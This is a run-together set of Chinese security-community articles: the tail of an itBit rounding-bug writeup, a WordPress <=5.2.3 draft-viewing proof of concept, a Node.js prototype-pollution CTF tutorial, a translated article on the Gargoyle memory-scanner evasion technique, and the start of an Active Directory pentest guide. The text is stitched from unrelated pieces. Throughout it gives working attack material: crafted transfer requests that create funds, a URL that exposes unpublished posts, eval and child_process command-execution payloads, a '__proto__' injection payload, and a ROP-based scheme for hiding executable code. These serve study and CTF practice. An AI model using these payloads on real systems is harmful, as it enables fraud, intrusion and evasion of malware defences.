_account1 XBT - 100000.00000005 <\- 帐户1的金额没有发生改变_
_account2 XBT - 0.00000002 <\- 但是帐户2的金额却改变了_
测试从帐户2转0.00000002到帐户1：
_account1 XBT - 100000.00000007 - bingo!_
_account2 XBT - 0.00000000_
结果就是黑客免费的产生了0.00000001 XBT。此外，在内部转账中没有如下的限制：
* 每日的次数限制
* 转账时不用输入密码
* 其他的
所以，黑客可以无限制转账。我仅仅希望他们有反欺诈的机制，那么攻击者在提款的时候就会失败。
# 这样就结束了？不
他们修复了那个漏洞之后，我又发现了一个基于数学的逻辑漏洞。
从帐户1转账到帐户1再到帐户1等自己转账给自己的行为没有任何限制，这看上去就像：
PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com
{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.00000001"}
这个请求发出去之后没有任何结果，帐户金额也没有发生任何改变
但是如果攻击者添加先前提到的攻击向量的话，那么整个事情就会变得有趣起来。攻击前金额：
{"currencyCode":"XBT","balance":100000.00000007,"available":100000.00000007,"onDeposit":0}
攻击：
PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com
{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.000000005"}
攻击之后的金额
{"currencyCode":"XBT","balance":100000.00000008,"available":100000.00000008,"onDeposit":0}
所以：
* 申请获得0.000000005
* 转出去的金额被四舍五入成0.00000000，然后从原帐户金额中减去--所以源金额没有改变
* 没有检查原账户和目的帐户中的金额是否相同
* 转出去的金额被四舍五入成0.000000001，之后加进了目标帐户中---所以目标账户凭空产生了0.000000001
这个额外的漏洞也已经报给了官方，并且上周他们已经修复了这个问题。
记住！应用系统的行为取决于你是怎么写的，而不是你是怎么想的！ :) | 社区文章 |
# WordPress <=5.2.3：如何查看未授权文章
|
##### 译文声明
本文是翻译文章，文章原作者 0day，文章来源：0day.work
原文地址：<https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/>
译文仅供参考，具体内容表达以及含义原文为准。
#
## 0x00 前言
几天之前，WordPress发布了[5.2.4](https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/)版本，其中包含一些安全更新，修复了查看未授权文章（post）的漏洞，该漏洞最早由J.D.
Grimes发现并公布。我对该漏洞比较感兴趣，但并没有找到公开的PoC，因此我决定逆向分析一下已公开的补丁。
## 0x01 信息收集
由于我找不到任何PoC，因此首先我想尽可能多地收集与该漏洞相关的信息。我对比了来自不同安全厂商的声明，大部分厂商都引用了相同的一句话：“可能（利用该漏洞）查看未授权文章”，如下所示：
* <https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html>
* <https://blog.wpsec.com/wordpress-5-2-4-security-release/>
* <https://www.reddit.com/r/netsec/comments/di9kf2/wordpress_524_security_release_breakdown/f3vbuyh/>
* …
根据这些信息，我在WordPress
SVN仓库/[Github镜像仓库](https://github.com/WordPress/WordPress)中，选择`5.2-branch`分支，然后分析最近的[commits](https://github.com/WordPress/WordPress/commits/5.2-branch)，查找提到了`unauthenticated
posts`或者`viewing posts`的相关commit。根据这种方式，我找到了[Commit
f82ed753cf00329a5e41f2cb6dc521085136f308](https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308)。
## 0x02 分析补丁
这个commit只修改了两行代码，移除了`static`关键词，修改了部分`if`条件语句。
根据我的猜想，被删除的`static`检查在这个绕过漏洞中扮演关键角色。`wp-includes/class-wp-query.php`在第731行代码开始涉及到`parse_query`函数，该函数可以过滤并解析传入的所有查询参数（`$_GET`）。
从第696行到第922行，我们可以看到长达125行的条件代码块，代码会根据给定的参数来设置`$this->is_single`、`$this->is_attachment`或者`$this->is_page`。这些条件分支都基于`elseif`，只有一个分支值得研究，如下所示：
// If year, month, day, hour, minute, and second are set, a single
// post is being queried.
} elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) {
$this->is_page = true;
$this->is_single = false;
} else {
// Look for archive queries. Dates, categories, authors, search, post type archives.
因此，我们肯定不希望设置像`attachment`、`name`、`p`或者`hour`之类的参数，这些参数可以跳过代码分支。我们不能设置`pagename`或者`page_id`，因为我们不知道这些参数值，并且（或者）这些参数只会返回一个结果，导致访问控制检查失效。
相反，我们需要在参数列表中使用`static=1`。这里我花了数个小时来理解并熟悉WordPress代码及相关函数功能。
最终我找到了`get_posts()`函数，该函数可以使用（已解析的）参数来查询数据库。
public function get_posts() {
global $wpdb;
$this->parse_query();
[..]
在多个位置使用`var_dump`调试技术后，我最终找到了如下代码段：
// Check post status to determine if post should be displayed.
if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) {
$status = get_post_status( $this->posts[0] );
if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) {
$this->is_page = false;
$this->is_single = true;
$this->is_attachment = true;
}
$post_status_obj = get_post_status_object( $status );
//PoC: Let's see what we have
//var_dump($q_status);
//var_dump($post_status_obj);
// If the post_status was specifically requested, let it pass through.
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
//var_dump("PoC: Incorrect status! :-/");
if ( ! is_user_logged_in() ) {
// User must be logged in to view unpublished posts.
$this->posts = array();
//var_dump("PoC: No posts :-(");
} else {
if ( $post_status_obj->protected ) {
// User must have edit permissions on the draft to preview.
if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
} else {
$this->is_preview = true;
if ( 'future' != $status ) {
$this->posts[0]->post_date = current_time( 'mysql' );
}
}
} elseif ( $post_status_obj->private ) {
if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) {
$this->posts = array();
}
} else {
$this->posts = array();
}
}
}
由于除了`static=1`之外，我们并没有设置任何特定的查询参数，因此在`$this->posts =
$wpdb->get_results($this->request);`之前的SQL查询语句为`var_dump($this->request);`，具体如下：
string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC "
该语句可以返回数据库中的所有页面（包括`password protected`、`pending`及`drafts`类别的页面）。因此，`! empty(
$this->posts ) && ( $this->is_single || $this->is_page )`对应的值为`true`。
该函数随后会检查 **第一** 篇文章的状态（`$status = get_post_status( $this->posts[0] );`）：
if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {
如果第一篇文章的状态不是`public`，则将进一步执行访问控制检查。比如，当用户未经授权时，代码将会清空`$this->posts`。
## 0x03 漏洞利用
因此，利用方式也非常直接：我们可以控制查询流程，使第一篇文章的状态为`published`，但返回数组中包含多篇文章。
为了演示这个过程，我们需要创建一些页面：
* 一个处于已发布状态的页面
* 一个处于草稿状态的页面
这里我使用的是页面，因为`post_type='page'`是WordPress的默认设置，但如果有需要，我们可以设置`&post_type=post`，这样就能修改文章类型，变成`post_type
= 'post'`。
目前我们知道如果在WordPress的URL添加`?static=1`，应该能查看网站的隐私内容。在访问控制检查之前添加`var_dump($this->posts);`，我们可以看到`http://wordpress.local/?static=1`这个URL会返回如下页面：
array(2) {
[0]=>
object(WP_Post)#763 (24) {
["ID"]=>
int(43)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:55:29"
["post_date_gmt"]=>
string(19) "0000-00-00 00:00:00"
["post_content"]=>
string(79) "<!-- wp:paragraph -->
<p>A draft with secret content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(7) "A draft"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(5) "draft"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(0) ""
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:29"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:29"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=43"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
[1]=>
object(WP_Post)#764 (24) {
["ID"]=>
int(41)
["post_author"]=>
string(1) "1"
["post_date"]=>
string(19) "2019-10-20 03:54:50"
["post_date_gmt"]=>
string(19) "2019-10-20 03:54:50"
["post_content"]=>
string(66) "<!-- wp:paragraph -->
<p>Public content</p>
<!-- /wp:paragraph -->"
["post_title"]=>
string(13) "A public page"
["post_excerpt"]=>
string(0) ""
["post_status"]=>
string(7) "publish"
["comment_status"]=>
string(6) "closed"
["ping_status"]=>
string(6) "closed"
["post_password"]=>
string(0) ""
["post_name"]=>
string(13) "a-public-page"
["to_ping"]=>
string(0) ""
["pinged"]=>
string(0) ""
["post_modified"]=>
string(19) "2019-10-20 03:55:10"
["post_modified_gmt"]=>
string(19) "2019-10-20 03:55:10"
["post_content_filtered"]=>
string(0) ""
["post_parent"]=>
int(0)
["guid"]=>
string(34) "http://wordpress.local/?page_id=41"
["menu_order"]=>
int(0)
["post_type"]=>
string(4) "page"
["post_mime_type"]=>
string(0) ""
["comment_count"]=>
string(1) "0"
["filter"]=>
string(3) "raw"
}
}
如上所示，数组中的第一个页面为草稿页面（`["post_status"]=>string(5) "draft"`），因此我们看不到任何内容：
然而，我们可以使用一些方法来控制返回的内容：
* 使用`asc`或者`desc`执行`order`排序
* `orderby`
* 使用`m=YYYY`、`m=YYYYMM`或者`m=YYYYMMDD`日期格式的`m`
* …
在这种测试场景中，我们只要简单颠倒返回的元素顺序即可，此时访问`http://wordpress.local/?static=1&order=asc`，我们就可以查看到隐私内容：
我们也可以利用该漏洞查看`password protected`以及`private`状态的文章： | 社区文章 |
# 前言
最近刷题刷到一个关于原型链污染的，想着之前学长琢磨过这些东西，刚好我最近又闲，就学习一下node.js的原型链污染，顺便了解一下node.js。
# node.js基础
> 简单的说 Node.js 就是运行在服务端的 JavaScript。
> Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
>
> Node.js是一个事件驱动I/O服务端JavaScript环境，基于Google的V8引擎，V8引擎执行Javascript的速度非常快，性能非常好。
这里就只讲解一下后续写题会涉及到的一些node.js的基础
> node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
这就像python 一样pip下载包以后，通过import引入，而node.js是通过require引入的。
## 同步和异步
> Node.js 文件系统（fs 模块）模块中的方法均有异步和同步版本，例如读取文件内容的函数有异步的 fs.readFile() 和同步的
> fs.readFileSync()。
> 异步的方法函数最后一个参数为回调函数，回调函数的第一个参数包含了错误信息(error)。
解释一下同步和异步，就像我们常说的一心二用一样，异步就是我们的一心二用，一边吃饭，一边看电视，而同步就是，吃完饭再看电视。
简单的说就是：
当你先读取文件输出后输出一段话的时候
同步：先输出文件内容，再输出一段话
异步：先输出一段话，后输出文件内容
## fs模块
node.js的文件操作模块，我们本地建立一个sd.txt
`它的同步函数：readFileSync，异步函数：readFile`
var fs = require("fs");
// 异步读取
fs.readFile('sd.txt', function (err, data) {
if (err) {
return console.error(err);
}
console.log("异步读取: " + data.toString());
});
// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());
console.log("程序执行完毕。");
输出：
同步读取: wdwdwdw
文件读取实例
程序执行完毕。
异步读取: wdwdwdw
文件读取实例
## child_process模块
child_process提供了几种创建子进程的方式
> 异步方式：spawn、exec、execFile、fork
> 同步方式：spawnSync、execSync、execFileSync
> 经过上面的同步和异步思想的理解，创建子进程的同步异步方式应该不难理解。
> 在异步创建进程时，spawn是基础，其他的fork、exec、execFile都是基于spawn来生成的。
> 同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和
> child_process.execFileSync() ，同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行，直到子进程退出。
其中的一些函数，在一些情况下，可以导致命令执行漏洞，后面写题时候会用到
其中，JavaScript的继承关系并非像Java一样，有父类子类之分，而是通过一条原型链来进行继承的。
接下来我来讲一下我理解的原型链
# 原型链
在了解原型链之前，先了解两个关键字。
**prototype**
>
> 在JavaScript中，prototype对象是实现[面向对象](https://baike.baidu.com/item/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1/2262089)的一个重要机制。
> 它是 **函数所独有的** ，它是从 **一个函数指向一个对象** 它的含义是 **函数的原型对象**
> ，也就是这个函数（其实所有函数都可以作为构造函数）所创建的实例的原型对象
这里直接举个例子
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
Food.prototype.bar2=6;
console.log(food.bar1);
console.log(food.bar2);
//5
//6
可一看到，我们可以通过prototype属性，指向到这个函数的原型对象中然后创建bar2，赋值为6，之后我们用food作为Food的继承类，这个food就拥有bar2的属性。
****proto****
在实例化后，就不能通过prototype访问其原型对象了，而且prototype是函数特有的，那我们可以通过 **proto** 来访问他的原型对象
> 它是 **对象所独有的** ， **proto** 属性都是由 **一个对象指向一个对象** ，即指向它们的原型对象（也可以理解为父对象）
所以经过了解，我们可以得出这么的结论
`Food.prototype===food.__proto__`
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
console.log(Food.prototype===food.__proto__);
然后我们来正式了解什么是原型链
**原型链**
我们先看如下代码代码
function Food() {
this.bar = 1;
this.bar1=5;
}
function food(){
this.bar=2;
}
food.prototype = new Food();
let food1 = new food();
console.log(food1.bar);
console.log(food1.bar1);
food类继承Food的bar1属性
而我们输出实例化food1的bar1的时候，它的查找过程是这样的
1.先查找父对象是否拥有这个属性，如果没有
2.在实例化类的 **proto** 中查找，又因为`Food.prototype===food.__proto__`，所以在Food类里找到bar1
然而它的查找过程入下图所示
如果没有找到，就会一直向上一级的. **proto** 进行查找，直到null
这种类似链的结构，被称为原型链
# 原型链污染
这里我直接用p神的代码进行解释了
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型（即Object）
foo.__proto__.bar = 2
// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
可以看到最后的空的zoo也拥有了bar的属性
我们输出zoo.bar的时候，node.js的引擎就开始在zoo中查找，发现没有，去zoo. **proto**
中查找，即在Object中查找，而，我们的foo. **proto**.bar = 2，就是给Object添加了一个bar属性，而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象，从而控制别的对象的操作，就是原型链污染。
# 实战
知识点中是要与题目串联的，前几题都是node.js的一些别的漏洞，帮助理解node.js相关题型的解法。
## ctfshow web334
开启题目，给了两段代码
//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
粗略的看两眼的代码，可以发现，只要登录，就会有flag，登陆账号密码是`{username: 'CTFSHOW', password:
'123456'}`，但是尝试登陆的时候
发现不对劲，有猫腻，然后扭头，仔细看了看代码
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
发现了这个`toUpperCase()`，而且`name!=='CTFSHOW'`，所以只能`ctfshow/Ctfshow`不全为大写字母都行。
## ctfshow web335
开启环境
看到eval，猜测是eval命令执行
去百度搜索一下，找一个payload尝试一下
用child_process模块的 exec 执行命令
`?eval=require('child_process').exec('ls');`
回显不对劲，就没思路了，最后看了羽师傅的wp和别的师傅解释
猜测其代码为代码为eval('console.log(xxx)')
涉及同步和异步的问题我们使用的exec是异步进程，在我们输入ls，查取目录时，就已经eval执行了，所以我们要使用创造同步进程的函数
**第一种方法**
`require('child_process').execSync('ls')`
`require('child_process').execSync('cat fl00g.txt');`
或者用羽师傅的payload：
?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()
?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()
**方法二**
参考Y4师傅的
global.process.mainModule.constructor._load('child_process').exec('calc')
## ctfshow web336
依旧是eval
被过滤了，使用羽师傅的payload试试
羽师傅的可以
## ctfshow web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
给了提示
对某字符进行md5加密，然后get，a和b，需要a不等于b，但是md5加密后相等
这里可以用数组绕过md5的比较
payload
`a[i]=1&b[i]=2`
## ctfshow web338（原型链污染）
终于到原型链污染了
给了源码，跟第一关一样的登录框。
找到login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
`utils.copy(user,req.body);`,这里就是突破口，通过给Object添加ctfshow的属性，使
`if(secert.ctfshow==='36dboy')`返回ture即可
payload`{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}`
# 总结
初次接触node.js，别的漏洞还有很多，道阻且长，冲冲冲！
# 参考
<https://m0re.top/posts/63e48fc9/>
<https://blog.csdn.net/miuzzx/article/details/111780832?spm=1001.2014.3001.5501>
<https://blog.csdn.net/solitudi/article/details/111669500>
<https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript>
<https://www.runoob.com/nodejs/nodejs-tutorial.html> | 社区文章 |
# 【技术分享】Gargoyle——内存扫描逃逸技术
##### 译文声明
本文是翻译文章，文章来源：jlospinoso.github.io
原文地址：<https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**0x00 前言**
Gargoyle是一种在非可执行内存中隐藏可执行代码的技术。在一些程序员定义的间隔，gargoyle将苏醒，且一些ROP标记它自身为可执行，且做一些事：
这个[技术](https://github.com/JLospinoso/gargoyle)是针对32位的Windows阐述的。在本文中，我们将深入探讨其实现细节。
**
**
**0x01 实时内存分析**
执行实时内存分析是一个相当大代价的操作，如果你使用Windows
Defender，你可能在这个问题上就到头了（谷歌的反恶意软件服务）。因为程序必须在可执行的内存中，用于减少计算负担的一种常用技术是只限制可执行代码页的分析。在许多进程中，这将数量级的减少要分析的内存数量。
Gargoyle表明这是个有风险的方式。通过使用Windows异步过程调用，读写内存能被作为可执行内存来执行一些任务。一旦它完成任务，它回到读写内存，直到定时器过期。然后重复循环。
当然，没有Windows API InvokeNonExecutableMemoryOnTimerEx。得到循环需要做一些操作。
**0x02 Windows异步过程调用（APC）**
[异步编程](https://msdn.microsoft.com/en-us/library/windows/desktop/ms681951\(v=vs.85\).aspx)使一些任务延迟执行，在一个独立的线程上下文中执行。每个线程有它自己的APC队列，并且当一个线程进入[alertable状态](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363772\(v=vs.85\).aspx)，Windows将从[APC队列](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684954\(v=vs.85\).aspx)中分发任务到等待的线程。
有一些方法来插入APC：
[ReadFileEx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365468\(v=vs.85\).aspx)
[SetWaitableTimer](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686289\(v=vs.85\).aspx)
[SetWaitableTimerEx](https://msdn.microsoft.com/en-us/library/windows/desktop/dd405521\(v=vs.85\).aspx)
[WriteFileEx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365748\(v=vs.85\).aspx)
进入alertable状态的方法：
[SleepEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686307\(v=vs.85\).aspx)
[SignalObjectAndWait](https://msdn.microsoft.com/en-us/library/windows/desktop/ms686293\(v=vs.85\).aspx)
[MsgWaitForMultipleObjectsEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684245\(v=vs.85\).aspx)
[WaitForMultipleObjectsEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms687028\(v=vs.85\).aspx)
[WaitForSingleObjectEx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms687036\(v=vs.85\).aspx)
我们要使用的组合是用CreateWaitableTimer创建一个定时器，然后使用SetWaitableTimer插入APC队列：
默认的安全属性是fine，我们不想手动重置，并且我们不想要一个命名的定时器。因此对于CreateWaitableTimer所有的参数是0或者nullptr。这个函数返回一个HANDLE，表示我们新的定时器。接下来，我们必须配置它：
第一个参数是我们从CreateWaitableTimer得到的句柄。参数pDueTime是一个指向LARGE_INTEGER的指针，指定第一个定时器到期的时间。例如，我们简单的设为0（立即过期）。lPeriod定义了过期间隔（毫秒级）。这个决定了gargoyle调用的频率。
下个参数pfnCompletionRoutine将是我们要努力的主题。这是来自等待线程的Windows调用的地址。听起来很简单，除非在可执行内存中分发的APC没有一个gargoyle代码。如果我们将pfnCompletionRoutine指向gargoyle，我们将[触发数据执行保护（DEP）](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366553\(v=vs.85\).aspx)。
取而代之，我们使用一些[ROP gadget](https://en.wikipedia.org/wiki/Return-oriented_programming)，将重定向执行线程的栈到lpArgToCompletionRoutine指向的地址。当ROP
gadget执行，指定的栈在调用gargoyle第一条指令前调用VirtualProtectEx来标记gargoyle为可执行。
最后一个参数与在定时器到期后是否唤醒计算机有关。我们设置为false。
**0x03 Windows数据执行保护和VirtualProtectEx**
最后是[VirtualProtectEx](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366899\(v=vs.85\).aspx)，用来修改各种内存保护属性：
我们将在两种上下文中调用VirtualProtectEx：在gargoyle完成执行后（在我们触发线程alertable之前）和在gargoyle开始执行之前（在线程分发APC之后）。看资料了解详情。
在这个PoC中，我们将gargoyle，跳板，ROP
gadget和我们的读写内存都放进同一个进程中，因此第一个参数hProcess设置为[GetCurrentProcess](https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179\(v=vs.85\).aspx)。下一个参数lpAddress与gargoyle的地址一致，dwSize与gargoyle的可执行内存大小一致。我们提供期望的[保护属性](https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786\(v=vs.85\).aspx)给flNewProtect。我们不关心老的保护属性，但是不幸的是lpflOldProtect不是一个可选的参数。因此我们将将它设为一些空内存。
唯一根据上下文不同的参数是flNewProtect。当gargoyle进入睡眠，我们想修改它为PAGE_READWRITE或0x04。在gargoyle执行前，我们想标记它为PAGE_EXECUTE_READ或0x20。
**0x04 栈跳板**
注意：如果你不熟悉x86调用约定，本节将比较难以理解。对于新人，可以参考我的文章x86调用约定。
通常，ROP
gadget被用来对抗DEP，通过构建调用VirtualProtectEx来标记栈为可执行，然后调用到栈上的一个地址。这在利用开发中经常很有用，当一个攻击者能写非可执行内存。可以将一定数量的ROP
gadget放在一起做相当多的事。
不幸的是，我们不能控制我们的alerted线程的上下文。我们能通过pfnCompletionRoutine控制eip，并且线程栈中的指针位于esp+4，即调用函数的第一个参数（WINAPI/__stdcall调用约定）。
幸运的是，我们已经在APC入队前就执行了，因此我们能在我们的alerted线程中小心的构建一个新的栈（栈跳板）。我们的策略是找到代替esp指向我们栈跳板的ROP
gadget。下面的形式的就能工作：
有点诡异，因为函数通常不以pop
esp/ret结束，但是由于[可变长度的操作码](https://cseweb.ucsd.edu/~hovav/dist/rop.pdf)，Intel
x86汇编过程会产生非常密集的可执行内存。不管怎样，在32位的mshtml.dll的偏移7165405处有这么一个gadget：
注意：感谢[Sascha
Schirra](https://github.com/sashs)的[Ropper](https://github.com/sashs/Ropper)工具。
在我们调用SetWaitableTimer时，这个gadget将设置esp为我们放入lpArgToCompletionRoutine中的任何值。剩下的事就是将lpArgToCompletionRoutine指向一些构造的栈内存。栈跳板看起来如下：
我们设置lpArgToCompletionRoutine为void* VirtualProtectEx参数，以便ROP
gadget能ret到执行VirtualProtectEx。当VirtualProtectEx得到这个调用，esp将指向void*
return_address。我们可以设置这个为我们的gargoyle。
**0x05 gargoyle**
让我们暂停片刻，看下在我们创建定时器和启动循环之前创建的读写Workspace。这个Workspace包含3个主要内容：一些配置帮助gargoyle启动自身，栈空间和StackTrampoline：
你已经看见了StackTrampoline，和stack是一个内存块。SetupConfiguration：
在PoC的main.cpp中，SetupCOnfiguration这么设置：
非常简单。简单的指向多个Windows函数和一些有用的参数。
现在你有了Workspace的大概印象，让我们回到gargoyle。一旦栈跳板被VirtualProtectEx调用，gargoyle将执行。这一刻，esp指向old_protections，因为VirtualProtect使用WINAPI/__stdcall约定。
注意我们放入了一个参数（void*
setup_config）在StackTrampoline的末尾。这是方便的地方，因为如果它是以__cdecl/__stdcall约定调用gargoyle的第一个参数。
这将使得gargoyle能在内存中找到它的读写配置：
现在我们准备好了。Esp指向了Workspace.stack。我们在ebx中保存了Configuration对象。如果这是第一次调用gargoyle，我们将需要建立定时器。我们通过Configuration的initialized字段来检查这个：
如果gargoyle已经初始化了，我们跳过定时器创建。
注意，在reset_trampoline中，我们重定位了跳板中VirtualProtectEx的地址。在ROP gadget
ret后，执行VirtualProtectEx。当它完成后，它在正常的函数执行期间将破环栈上的地址。
你能执行任意代码。对于PoC，我们弹出一个对话框：
一旦我们完成了执行，我们需要构建调用到VirtualProtectEx，然后WaitForSingleObjectEx。我们实际上构建了两个调用到WaitForSingleObjectEx，因为APC将从第一个返回并继续执行。这启动了我们定义的循环APC：
**0x06 测试**
PoC的代码在[github](https://github.com/JLospinoso/gargoyle)上，且你能简单的测试，但是你必须安装：
[Visual studio](https://www.visualstudio.com/downloads/) 2015
Community，但是其他版本也能用
[Netwide Assembler](http://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D)
v2.12.02 x64，但是其他版本也能用。确保nasm.exe在你的路径中。
克隆gargoyle：
git clone https://github.com/JLospinoso/gargoyle.git
打开Gargoyle.sln并构建。
你必须在和setup.pic相同的目录运行gargoyle.exe。默认解决方案的输出目录是Debug或release。
每15秒，gargoyle将弹框。当你点击确定，gargoyle将完成VirtualProtectEx/WaitForSingleObjectEx调用。
有趣的是，使用Systeminternal的[VMMap](https://technet.microsoft.com/en-us/sysinternals/vmmap.aspx)能验证gargoyle的PIC执行。如果消息框是激活的，gargoyle将被执行。反之则没有只想能够。PIC的地址在执行前使用stdout打印。 | 社区文章 |
# 一篇域攻击文章的复现
先放原文的链接：[Penetration Testing Active Directory, Part II –
root@Hausec](https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/)
文章里面主要提到在低权限的情况下，怎么做信息收集然后借助工具提权，其中牵涉到的原理我也会尽量描述清楚。
## Bloodhound
使用方法很简单，mac下直接安装就行。就是下载数据库的时候贼慢，全局代理下吧。
登录
远程dump数据
首先安装这个
[GitHub - fox-it/BloodHound.py: A Python based ingestor for
BloodHound](https://github.com/fox-it/BloodHound.py)
运行的时候你可能会遇到
`ImportError: No module named cstruct`类似的，我被坑了好久，一只安装不好这个库，有个issue：[Python
Error - "cannot import name cstruct" · Issue #5 · fox-it/bloodhound-import ·
GitHub](https://github.com/fox-it/bloodhound-import/issues/5)
原来是因为我pip没更新到最新版本。。。
安装完成以后就可以使用了。
但是又有一个坑，解析的时候dns解析不到域控上面去，本来是代理一个http出来，但是dns解析不到dc，只能在靶机安装py2，但是不太实用，实战中不可能去给别人装这些环境。看效果图吧。
python bloodhound.py -d pentestlab.com -u flowing -p xxx -gc win7.pentestlab.com -c all -v --dns-tcp
* [GitHub - GoFetchAD/GoFetch: GoFetch is a tool to automatically exercise an attack plan generated by the BloodHound application.](https://github.com/GoFetchAD/GoFetch)：结合json数据绘制攻击思路
使用视频：
[YouTube](https://www.youtube.com/watch?v=5SpDAxUx7Uk&feature=youtu.be)
## Kerberoasting攻击 | Tool:
[GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py)
在识别到域内的机器和域控时，一种提权方式是Kerberoasting。
> 什么是Kerberoasting？
在域环境中为用户配置环境时，比如一些数据库服务，这时候会用到SPN(服务主体名称)，它将服务和账户关联起来，用户访问特定的资源文件时，会收到这个账户ntml
hash签名的Kerberos 票据。
我们拿到这个票据后可以直接离线破解。
关于这个的工具文末的参考链接中有介绍，但是用自己习惯的就好了。
